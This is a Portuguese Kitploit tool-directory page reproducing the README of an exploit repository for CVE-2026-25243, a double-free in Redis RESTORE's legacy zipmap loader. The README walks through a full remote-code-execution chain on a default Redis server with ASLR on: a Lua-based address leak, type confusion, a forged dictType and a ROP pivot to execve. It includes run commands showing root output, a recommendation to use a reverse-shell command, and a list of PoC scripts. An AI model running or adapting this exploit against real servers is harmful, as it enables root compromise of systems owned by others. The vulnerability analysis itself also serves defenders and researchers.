Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25243 — CVE-2026-25243 — double-free no Redis RESTORE zipmap → execução remota de código (ASLR ativado). | Kitploit
Ferramentas/GitHubGitHub/dinosn/cve-2026-25243
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoEngenharia ReversaTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de Binários
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — double-free no Redis RESTORE zipmap → execução remota de código (ASLR ativado).

1314há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2026-25243 — Redis RESTORE zipmap double-free → execução remota de código

TL;DR. Um payload DUMP malformado passado para RESTORE dispara um double-free no heap no loader legado de hash-zipmap do Redis. Com o jemalloc padrão, o double-free é silencioso (o servidor continua em execução), o que o transforma em uma primitiva controlável de type confusion. Este repositório encadeia isso em execução remota de código com ASLR ativado — o worker do Redis chama system("<string do atacante>") e continua servindo. Não é um DoS.

# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- execve("/bin/sh","-c",<cmd>) as the redis process

O leak que derrota o ASLR não usa DEBUG — ele lê o endereço do C-closure Lua redis.call (EVAL 'return tostring(redis.call)'), a mesma técnica autocontida e livre de DEBUG do nosso exploit anterior do Redis. blob_base/blob_robj e a base do PIE são então derivados em tempo de execução da over-read (sem offset fixo). O final PIE-ROP chama execve@plt por meio de um stack-pivot JOP, portanto usa zero endereços de libc — as únicas constantes específicas de build são offsets de gadgets relativos ao PIE lidos do binário redis-server, exatamente como a tabela de gadgets por build do nosso exploit HLL anterior. Verificado uid=0(root), ASLR ativado, 8/8, em um servidor padrão com DEBUG desabilitado.

Duas variantes de finalização são fornecidas. poc_rce_aslr_pie_rop.py (acima) é a mais autocontida — sem libc, totalmente autocalibrada — mas execve substitui o worker (use um --cmd de reverse shell; o melhor para um shell real). poc_rce_aslr_selfcal.py mantém o worker vivo (system() faz fork) ao custo de dois offsets de versão da libc. Escolha conforme você precise que o servidor sobreviva.


O bug

RESTORE key 0 <DUMP-payload> desserializa um objeto serializado. Para o tipo legado RDB_TYPE_HASH_ZIPMAP (0x09), o validador e o conversor discordam sobre quantos bytes um campo de comprimento ocupa:

  • zipmapValidateIntegrity() percorre com o tamanho codificado real (5 para o prefixo superlongo 0xFE);
  • zipmapNext() durante a conversão zipmap → listpack usa 1 byte para qualquer comprimento decodificado < 254.

Um comprimento pequeno escrito no formato superlongo de 5 bytes passa na validação, mas faz zipmapNext() avançar incorretamente 4 bytes. Duas consequências decorrem do mesmo erro de avanço: um over-read no heap (zipmap.c) e, apenas no Redis, um double-free no heap no loader de hash-zipmap em rdb.c:

sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd took ownership of `field` -> freed here
    sdsfree(field);               // (2) freed AGAIN  -> double-free

O Valkey protege isso (if (!field_added) sdsfree(field)); o Redis upstream não protege, então o double-free é exclusivo do Redis. A correção rejeita o comprimento curto codificado de forma superlonga e reordena as verificações em tempo de carregamento.

A cadeia de exploração (Redis 8.6.2, x86-64, jemalloc, PIE/NX/partial-RELRO)

silent double-free  ->  type-confusion overlap  ->  arbitrary pointer-forge
   ->  forge a hashtable hash's  dict->type  to a fake dictType
   ->  HGET hd "<field>"   ==   dictFind -> type->hashFunction(field)
      libc path  (selfcal): hashFunction = &system            -> system("<cmd>")   (worker survives)
      PIE path   (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
                            -> leave;ret pivots rsp onto the field
                            -> execve("/bin/sh","-c","<cmd>")  via execve@plt        (no libc, no DEBUG)

O dictType falso é plantado dentro de uma string de 16 MB (SETRANGE) no único offset cujos bytes baixos do endereço correspondem ao cabeçalho sds da string do atacante. O ASLR é derrotado inteiramente em tempo de execução:

  • system — um único leak de ponteiro do heap. O caminho recomendado é sem DEBUG: o endereço do C-closure Lua redis.call (EVAL 'return tostring(redis.call)') — o mesmo leak autocontido que nosso exploit anterior do Redis usa. Os arenas do jemalloc ficam a um offset constante da libc, então system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT é apenas uma conveniência de laboratório quando o script está desabilitado, mas DEBUG está habilitado — a configuração mais rara.)
  • o endereço do blob de 16 MB (um mmap randomizado de forma independente) — lido com a leitura arbitrária do próprio bug: forje o dict de um SET para que seu membro seja um sds SDS_TYPE_32 de 107 KB, SMEMBERS faz over-read do heap adjacente, e o robj.ptr do blob é lido em seu offset conhecido.

Consulte WRITEUP.md para a análise completa primitivo por primitivo e os detalhes jemalloc / Redis-8.x conquistados com dificuldade (limite da classe 64, marcação de entradas do dict, hash-field mstr, pré-crescimento do keyspace).

Laboratório

docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243

# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2            # ASLR ON
redis-server &                                   # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
arquivoo que demonstra
★ exploits/poc_rce_aslr_pie_rop.pymais autocontido — RCE em um Redis DEFAULT (DEBUG desativado), SEM offsets de libc; autocalibra blob_base/blob_robj/pie_base; execve@plt via pivô JOP (o worker é substituído). 8/8.
★ exploits/poc_rce_aslr_selfcal.pymantém o worker vivo — mesma cadeia, mas hashFunction=&system (faz fork); custa dois offsets de versão da libc (DLIBC/SYSTEM_OFF). Leak do C-closure Lua, autocalibrando blob_base/blob_robj.
exploits/poc_rce_aslr_nodebug.pysem DEBUG (leak via Lua), mas com offsets fixos (calibrados com DEBUG ativado)
exploits/poc_rce_aslr.pyvariante de conveniência de laboratório: leak de bootstrap via DEBUG OBJECT (exige DEBUG habilitado)
exploits/poc_rce_aslr_off.pyRCE com ASLR desativado (endereços calibrados)
exploits/poc_typeconfusion.pydouble-free → duas chaves compartilham um buffer do heap (sem ferramentas)
exploits/poc_doublefree.pyo double-free (ASan: heap-use-after-free em sdsfree)
exploits/poc_dos_overread.pyo crash por over-read (ASan)

O leak que derrota o ASLR (sem DEBUG)

O leak de ponteiro do heap de bootstrap segue a mesma abordagem do nosso exploit anterior do Redis: vaza o endereço do C-closure Lua redis.call com EVAL 'return tostring(redis.call)'. A scriptação Lua está ativada por padrão; DEBUG está desativado por padrão (enable-debug-command no) — portanto o leak via Lua é a opção principal realista, e DEBUG OBJECT (poc_rce_aslr.py) é apenas uma conveniência de laboratório. poc_rce_aslr_selfcal.py então deriva blob_base e blob_robj em tempo de execução do over-read (varredura pela assinatura do robj do blob de 16 MB), então DLUA/DFOBJ só precisam estar próximos.

Baixar ferramenta